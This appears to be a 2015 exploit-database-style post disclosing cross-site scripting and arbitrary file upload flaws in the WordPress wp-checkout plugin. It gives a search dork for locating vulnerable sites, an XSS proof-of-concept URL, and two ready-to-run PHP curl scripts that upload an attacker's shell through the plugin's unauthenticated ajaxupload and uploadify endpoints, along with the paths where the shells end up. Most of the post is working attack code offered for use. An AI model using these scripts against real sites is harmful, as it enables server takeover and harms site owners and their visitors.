Wordpress Plugin Wp-checkout Multiple vulnerability

---------------------------------------------------------------------------------
#- Title : Wordpress Plugin wp-checkout XSS & Arbitrary File Upload
#- Author : DevilScreaM & Gastro-dz
#- Vendor : wordpress#org/extend/plugins/wordpress-checkout/
#- Date : 09/21/2015
#- Category : Web Applications
#- Type : PHP
#- Vulnerabillity : Arbitrary File Upload, XSS
#- Dork : inurl:wp-content/plugins/wp-checkout
#- Tested on : Vivid Vervet,Windows 7,Backbox
---------------------------------------------------------------------------------

POC ===>

XSS (CROSS SITE SCRIPTING)

localhost/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=[Hacked BY NAPST3R]

Arbitrary File Upload

Exploit : localhost/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php
access : "/wp-content/uploads/wp-checkout/shell.php"

PHP Code 


<?php

$uploadfile="YOURFUCKINGSHELL.php";
$ch = curl_init("localhost/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
          'folder'=>'/wp-content/uploads/wp-checkout/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Uploadify

Exploit : localhost/wp-content/uploads/wp-checkout/uploadify/upload.php
access : /wp-content/uploads/wp-checkout/uploadify/random_name.php

PHP Code 


<?php


$uploadfile="YOURFUCKINGSHELL.php";
$ch = curl_init("localhost/wp-content/uploads/wp-checkout/uploadify/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
          'folder'=>'/wp-content/uploads/wp-checkout/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Thats All 👍 Small Post ❓ Hope You Like It😉
Wish Me Luck For My Exams😭
Have A Nice Day 👍